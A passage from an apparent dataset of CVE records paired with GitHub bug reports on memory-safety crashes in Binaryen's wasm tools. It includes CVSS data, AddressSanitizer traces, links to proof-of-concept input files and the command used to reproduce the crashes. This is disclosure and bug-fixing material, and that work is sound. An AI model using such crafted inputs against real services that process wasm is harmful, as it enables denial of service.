==7649==Hint: address points to the zero page. #0 0x18d832e in std::_Hashtable<wasm::Expression, std::pair<wasm::Expression const, wasm::Function::DebugLocation>, std::allocator<std::pair<wasm::Expression* const, wasm::Function::DebugLocation> >, std::__detail::_Select1st, std::equal_to<wasm::Expression>, std::hash<wasm::Expression>, std::__detail::_Mod_range_hashing, std::__detail::_Default_ranged_hash, std::__detail::_Prime_rehash_policy, std::__detail::_Hashtable_traits<false, false, true> >::_M_bucket_index(wasm::Expression* const&, unsigned long) const /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/hashtable.h:631:60 #1 0x18d832e in std::__detail::_Map_base<wasm::Expression, std::pair<wasm::Expression const, wasm::Function::DebugLocation>, std::allocator<std::pair<wasm::Expression* const, wasm::Function::DebugLocation> >, std::__detail::_Select1st, std::equal_to<wasm::Expression>, std::hash<wasm::Expression>, std::__detail::_Mod_range_hashing, std::__detail::_Default_ranged_hash, std::__detail::_Prime_rehash_policy, std::__detail::_Hashtable_traits<false, false, true>, true>::operator[](wasm::Expression* const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/hashtable_policy.h:720 #2 0x18d832e in std::unordered_map<wasm::Expression, wasm::Function::DebugLocation, std::hash<wasm::Expression>, std::equal_to<wasm::Expression>, std::allocator<std::pair<wasm::Expression const, wasm::Function::DebugLocation> > >::operator[](wasm::Expression* const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/unordered_map.h:976 #3 0x18d832e in wasm::SExpressionWasmBuilder::parseExpression(wasm::Element&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-s-parser.cpp:660 #4 0x18bf60f in wasm::SExpressionWasmBuilder::parseExpression(wasm::Element) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm-s-parser.h:160:12 #5 0x18bf60f in wasm::SExpressionWasmBuilder::parseGlobal(wasm::Element&, bool) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-s-parser.cpp:1712 #6 0x18a2716 in wasm::SExpressionWasmBuilder::parseModuleElement(wasm::Element&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-s-parser.cpp:325:28 #7 0x18960ee in wasm::SExpressionWasmBuilder::SExpressionWasmBuilder(wasm::Module&, wasm::Element&, wasm::Name) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-s-parser.cpp:292:5 #8 0x64b56f in std::unique_ptr<wasm::SExpressionWasmBuilder, std::default_delete<wasm::SExpressionWasmBuilder> > wasm::make_unique<wasm::SExpressionWasmBuilder, wasm::Module&, wasm::Element&>(wasm::Module&, wasm::Element&) /home/wencheng/Documents/FuzzingObject/binaryen/src/support/utilities.h:58:35 #9 0x64b56f in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm2js.cpp:91 #10 0x7f6f8df5482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #11 0x50ccb8 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm2js+0x50ccb8) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/hashtable.h:631:60 in std::_Hashtable<wasm::Expression, std::pair<wasm::Expression const, wasm::Function::DebugLocation>, std::allocator<std::pair<wasm::Expression* const, wasm::Function::DebugLocation> >, std::__detail::_Select1st, std::equal_to<wasm::Expression>, std::hash<wasm::Expression>, std::__detail::_Mod_range_hashing, std::__detail::_Default_ranged_hash, std::__detail::_Prime_rehash_policy, std::__detail::_Hashtable_traits<false, false, true> >::_M_bucket_index(wasm::Expression* const&, unsigned long) const ==7649==ABORTING ```	Null pointer Deference in wasm::SExpressionWasmBuilder::parseExpression(wasm::Element&) in wasm-s-parser.cpp	https://api.github.com/repos/WebAssembly/binaryen/issues/1867/comments	1	2019-01-13T12:08:46Z	2019-01-16T19:15:11Z	https://github.com/WebAssembly/binaryen/issues/1867	398,651,046	1,867
CVE-2019-7703	2019-02-10T22:29:00.590	In Binaryen 1.38.22, there is a use-after-free problem in wasm::WasmBinaryBuilder::visitCall in wasm-binary.cpp. Remote attackers could leverage this vulnerability to cause a denial-of-service via a wasm file, as demonstrated by wasm-merge.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1865" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:webassembly:binaryen::::::::", "matchCriteriaId": "D2F4FEB1-4149-4952-8678-FC42E20FCE76", "versionEndExcluding": "64", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/WebAssembly/binaryen/issues/1865	[ "Exploit", "Patch", "Third Party Advisory" ]	github.com	[ "WebAssembly", "binaryen" ]	Hi, there. A Use-after-free problem was discovered in wasm::WasmBinaryBuilder::visitCall(wasm::Call) function in wasm-binary.cpp. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "./wasm-merge $POC" to reproduce the error. [UAF.zip](https://github.com/WebAssembly/binaryen/files/2751985/UAF.zip) $ git log ``` commit 45714b5fc6cf14c112bc4f188aca427464ab69d8 Author: Alon Zakai <[email protected]> Date: Thu Jan 10 19:31:20 2019 -0800 Compare binaryen fuzz-exec to JS VMs (#1856) The main fuzz_opt.py script compares JS VMs, and separately runs binaryen's fuzz-exec that compares the binaryen interpreter to itself (before and after opts). This PR lets us directly compare binaryen's interpreter output to JS VMs. This found a bunch of minor things we can do better on both sides, giving more fuzz coverage. To enable this, a bunch of tiny fixes were needed: Add --fuzz-exec-before which is like --fuzz-exec but just runs the code before opts are run, instead of before and after. * Normalize double printing (so JS and C++ print comparable things). This includes negative zero in JS, which we never printed properly til now. * Various improvements to how we print fuzz-exec logging - remove unuseful things, and normalize the others across JS and C++. * Properly legalize the wasm when --emit-js-wrapper (i.e., we will run the code from JS), and use that in the JS wrapper code. ``` The ASAN dumps the stack trace as follows: ``` ================================================================= ==12717==ERROR: AddressSanitizer: heap-use-after-free on address 0x615000000c38 at pc 0x000000877201 bp 0x7ffcfa43cb50 sp 0x7ffcfa43cb48 READ of size 8 at 0x615000000c38 thread T0 #0 0x877200 in wasm::WasmBinaryBuilder::visitCall(wasm::Call) /binaryen/src/wasm/wasm-binary.cpp:1954:12 #1 0x865f89 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /binaryen/src/wasm/wasm-binary.cpp:1685:38 #2 0x86c092 in wasm::WasmBinaryBuilder::skipUnreachableCode() /binaryen/src/wasm/wasm-binary.cpp:1409:16 #3 0x861fc8 in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1384:9 #4 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #5 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #6 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #7 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #8 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #9 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #10 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #11 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #12 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #13 0x871a00 in wasm::WasmBinaryBuilder::visitIf(wasm::If) /binaryen/src/wasm/wasm-binary.cpp:1865:21 #14 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #15 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #16 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #17 0x871a00 in wasm::WasmBinaryBuilder::visitIf(wasm::If) /binaryen/src/wasm/wasm-binary.cpp:1865:21 #18 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #19 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #20 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #21 0x871a00 in wasm::WasmBinaryBuilder::visitIf(wasm::If) /binaryen/src/wasm/wasm-binary.cpp:1865:21 #22 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #23 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #24 0x87031d in wasm::WasmBinaryBuilder::visitBlock(wasm::Block) /binaryen/src/wasm/wasm-binary.cpp:1822:5 #25 0x86598a in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /binaryen/src/wasm/wasm-binary.cpp:1679:38 #26 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #27 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #28 0x83237a in wasm::WasmBinaryBuilder::readFunctions() /binaryen/src/wasm/wasm-binary.cpp:1121:20 #29 0x8139b7 in wasm::WasmBinaryBuilder::read() /binaryen/src/wasm/wasm-binary.cpp:678:41 #30 0x912c7d in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:52:10 #31 0x915750 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:71:5 #32 0x60aa08 in main /binaryen/src/tools/wasm-merge.cpp:617:16 #33 0x7f56b3d4a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #34 0x508d58 in _start (/binaryen/build/bin/wasm-merge+0x508d58) 0x615000000c38 is located 440 bytes inside of 512-byte region [0x615000000a80,0x615000000c80) freed by thread T0 here: #0 0x601fc8 in operator delete(void) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_new_delete.cc:149 #1 0x79bed4 in __gnu_cxx::new_allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task>::deallocate(wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/ext/new_allocator.h:125:2 #2 0x79bed4 in std::allocator_traits<std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::deallocate(std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task>&, wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/alloc_traits.h:462 #3 0x79bed4 in std::_Vector_base<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::_M_deallocate(wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:180 #4 0x79bed4 in std::_Vector_base<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::~_Vector_base() /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:162 #5 0x79bed4 in std::vector<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::~vector() /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:435 #6 0x79bed4 in wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::~Walker() /binaryen/src/wasm-traversal.h:276 #7 0x79bed4 in wasm::BranchUtils::BranchSeeker::hasNamed(wasm::Expression, wasm::Name) /binaryen/src/ir/branch-utils.h:208 #8 0x79bed4 in wasm::handleUnreachable(wasm::Block, bool, bool) /binaryen/src/wasm/wasm.cpp:198 #9 0x85c506 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1847:10 #10 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #11 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #12 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #13 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #14 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #15 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #16 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #17 0x87031d in wasm::WasmBinaryBuilder::visitBlock(wasm::Block) /binaryen/src/wasm/wasm-binary.cpp:1822:5 #18 0x86598a in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /binaryen/src/wasm/wasm-binary.cpp:1679:38 #19 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #20 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #21 0x83237a in wasm::WasmBinaryBuilder::readFunctions() /binaryen/src/wasm/wasm-binary.cpp:1121:20 #22 0x8139b7 in wasm::WasmBinaryBuilder::read() /binaryen/src/wasm/wasm-binary.cpp:678:41 #23 0x912c7d in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:52:10 #24 0x915750 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:71:5 #25 0x60aa08 in main /binaryen/src/tools/wasm-merge.cpp:617:16 #26 0x7f56b3d4a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) previously allocated by thread T0 here: #0 0x601250 in operator new(unsigned long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_new_delete.cc:92 #1 0x7dcff4 in __gnu_cxx::new_allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task>::allocate(unsigned long, void const) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/ext/new_allocator.h:111:27 #2 0x7dcff4 in std::allocator_traits<std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::allocate(std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task>&, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/alloc_traits.h:436 #3 0x7dcff4 in std::_Vector_base<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::_M_allocate(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:172 #4 0x7dcff4 in void std::vector<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::_M_realloc_insert<void (&)(wasm::BranchUtils::BranchSeeker, wasm::Expression), wasm::Expression&>(__gnu_cxx::__normal_iterator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::vector<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> > >, void (&)(wasm::BranchUtils::BranchSeeker, wasm::Expression), wasm::Expression&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/vector.tcc:406 #5 0x7d020a in void std::vector<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::emplace_back<void (&)(wasm::BranchUtils::BranchSeeker, wasm::Expression), wasm::Expression&>(void (&)(wasm::BranchUtils::BranchSeeker, wasm::Expression), wasm::Expression&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/vector.tcc:105:4 #6 0x7d020a in wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::pushTask(void ()(wasm::BranchUtils::BranchSeeker, wasm::Expression), wasm::Expression) /binaryen/src/wasm-traversal.h:396 #7 0x7d020a in wasm::PostWalker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::scan(wasm::BranchUtils::BranchSeeker, wasm::Expression) /binaryen/src/wasm-traversal.h:487 #8 0x7ca3c1 in wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::walk(wasm::Expression&) /binaryen/src/wasm-traversal.h:416:7 #9 0x79be62 in wasm::BranchUtils::BranchSeeker::hasNamed(wasm::Expression, wasm::Name) /binaryen/src/ir/branch-utils.h:206:12 #10 0x79be62 in wasm::handleUnreachable(wasm::Block, bool, bool) /binaryen/src/wasm/wasm.cpp:198 #11 0x85c506 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1847:10 #12 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #13 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #14 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #15 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #16 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #17 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #18 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #19 0x87031d in wasm::WasmBinaryBuilder::visitBlock(wasm::Block) /binaryen/src/wasm/wasm-binary.cpp:1822:5 #20 0x86598a in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /binaryen/src/wasm/wasm-binary.cpp:1679:38 #21 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #22 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #23 0x83237a in wasm::WasmBinaryBuilder::readFunctions() /binaryen/src/wasm/wasm-binary.cpp:1121:20 #24 0x8139b7 in wasm::WasmBinaryBuilder::read() /binaryen/src/wasm/wasm-binary.cpp:678:41 #25 0x912c7d in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:52:10 #26 0x915750 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:71:5 #27 0x60aa08 in main /binaryen/src/tools/wasm-merge.cpp:617:16 #28 0x7f56b3d4a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: heap-use-after-free /binaryen/src/wasm/wasm-binary.cpp:1954:12 in wasm::WasmBinaryBuilder::visitCall(wasm::Call*) Shadow bytes around the buggy address: 0x0c2a7fff8130: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2a7fff8150: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff8160: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff8170: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c2a7fff8180: fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd 0x0c2a7fff8190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2a7fff81a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff81b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff81c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff81d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==12717==ABORTING ```	A Use-after-free problem in wasm::WasmBinaryBuilder::visitCall(wasm::Call*) function in wasm-binary.cpp	https://api.github.com/repos/WebAssembly/binaryen/issues/1865/comments	1	2019-01-12T12:32:49Z	2019-01-16T19:15:11Z	https://github.com/WebAssembly/binaryen/issues/1865	398,550,317	1,865
CVE-2019-7704	2019-02-10T22:29:00.637	wasm::WasmBinaryBuilder::readUserSection in wasm-binary.cpp in Binaryen 1.38.22 triggers an attempt at excessive memory allocation, as demonstrated by wasm-merge and wasm-opt.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1866" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:webassembly:binaryen::::::::", "matchCriteriaId": "D2F4FEB1-4149-4952-8678-FC42E20FCE76", "versionEndExcluding": "64", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/WebAssembly/binaryen/issues/1866	[ "Exploit", "Patch", "Third Party Advisory" ]	github.com	[ "WebAssembly", "binaryen" ]	Hi, there. A Out-of-Memory problem was discovered in wasm::WasmBinaryBuilder::readUserSection(unsigned long) function in wasm-binary.cpp. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. 1. Program Abort because of std::bad_alloc exception. Use "./wasm-merge $POC" to reproduce the error. [POC1.zip](https://github.com/WebAssembly/binaryen/files/2751999/POC1.zip) Program Output ``` terminate called after throwing an instance of 'std::bad_alloc' what(): std::bad_alloc Aborted ``` The ASAN dumps the stack trace as follows: ``` ==9550==WARNING: AddressSanitizer failed to allocate 0xfffffffffffffffc bytes ==9550==AddressSanitizer's allocator is terminating the process instead of returning 0 ==9550==If you don't like this behavior set allocator_may_return_null=1 ==9550==AddressSanitizer CHECK failed: /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:225 "((0)) != (0)" (0x0, 0x0) #0 0x5d1dd5 in __asan::AsanCheckFailed(char const, int, char const, unsigned long long, unsigned long long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_rtl.cc:69 #1 0x5ef695 in __sanitizer::CheckFailed(char const, int, char const, unsigned long long, unsigned long long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_termination.cc:79 #2 0x5d81d6 in __sanitizer::ReportAllocatorCannotReturnNull() /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:225 #3 0x5d8216 in __sanitizer::ReturnNullOrDieOnFailure::OnBadRequest() 